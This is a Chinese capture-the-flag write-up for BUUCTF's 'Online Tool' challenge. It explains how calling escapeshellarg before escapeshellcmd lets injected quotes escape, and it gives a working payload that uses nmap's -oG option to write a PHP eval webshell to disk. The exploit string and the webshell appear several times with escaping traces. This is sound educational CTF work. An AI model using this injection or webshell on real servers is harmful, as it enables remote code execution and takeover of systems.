escapeshellarg与escapeshellcmd共伤
前言
- 环境:buuctf中[BUUCTF 2018]Online Tool
- 知识点:escapeshellarg与escapeshellcmd共用漏洞
- 参考:wp
做题
审计
<?php
if (isset($_SERVER[\'HTTP_X_FORWARDED_FOR\'])) {
$_SERVER[\'REMOTE_ADDR\'] = $_SERVER[\'HTTP_X_FORWARDED_FOR\'];
}
if(!isset($_GET[\'host\'])) {
highlight_file(__FILE__);
} else {
$host = $_GET[\'host\'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER[\'REMOTE_ADDR\']);
echo \'you are in sandbox \'.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这题目也是看了好久的wp,太菜了
escapeshellarg
最主要的是会将传入的字符用单引号围起来,能使传入的字符当成字符,而不是shell命令了
就好比
<?php
$a=$_GET[a];
eval("echo $a".\';\');
如果没使用escapeshellarg就可以任意命令执行,如果使用了escapeshellarg
显然不会执行任意命令
escapeshellcmd
同样可以防止任意shell命令执行,因为它可以把&;之类的管道符转义掉
单独使用escapeshellarg
和escapeshellcmd
中任意一个都不会出现问题,或者先使用escapeshellcmd
再使用escapeshellarg
也不会出现问题,唯有题目中先escapeshellarg
在escapeshellcmd
会有漏洞
我们要rce,但是又不能拼接命令,就只能借用nmap参数,有-oG参数可以实现将命令和结果写到文件
我们payload为 1\' shell \'
escapeshellarg >> \'1\'\'\' shell \'\'\'\'
escapeshellcmd >> \'1\'\\\'\' shell \'\\\'\'\'
这样其实我们的shell已经可以被执行了
就类似:
nmap -T5 -sT -Pn --host-timeout 2 -F \'1\'\\\'\' shell \'\\\'\'\'
最后我们的payload:
\' <?php @eval($_POST["mayi"]);?> -oG mayi.php \'
这里有个疑问是php代码这里在本地测试时不加引号会报错,但是这里不加引号却有用,很迷。。
最后需要注意
为啥不可以 直接输入命令去执行?
因为经过escapeshellarg后会给2边加上单引号,此时放过去就类似 nmap \'-oG...\'
这样完全就没有作用了,开始没注意想了蛮久没明白。
需要注意的是 ;|& 等符号会被 escapeshellcmd 转义导致最后无效,所以尽管绕过了单引号,还是不能使用&;之类的字符执行任意命令
payload 记得空格哟
正确的样式:
\' <?php @eval($_POST["mayi"]);?> -oG mayi.php \'
$host = escapeshellarg($host);
>>> \'\'\\\'\' <?php @eval($_POST["mayi"]);?> -oG mayi.php\' \\\'\'\'
$host = escapeshellcmd($host);
>>> \'\'\\\'\' \\<\\?php @eval($_POST["mayi"])\\;\\?\\> -oG mayi.php\' \\\\\'\'\'
# 等价于 \\<\\?php @eval($_POST["mayi"])\\;\\?\\> -oG mayi.php \\\\
# 根据解析规则
# 等价于 \\<\\?php @eval($_POST["mayi"])\\;\\?\\> -oG mayi.php
# 写入后 <?php @eval($_POST["mayi"]);?> -oG mayi.php
——————————————————————————————————————————
但是如果你的payload为:
?host=\' <?php @eval($_POST["mayi"]);?> -oG mayi.php\'
>>> \'\'\\\'\' \\<\\?php @eval($_POST["mayi"])\\;\\?\\> -oG mayi.php\'\\\\\'\'\'
>>> <?php @eval($_POST["mayi"]);?> -oG mayi.php\\\\
# 这样是不会被认为是php文件的。
#所以说必须后面要有 ‘ 而且前面要有空格哟。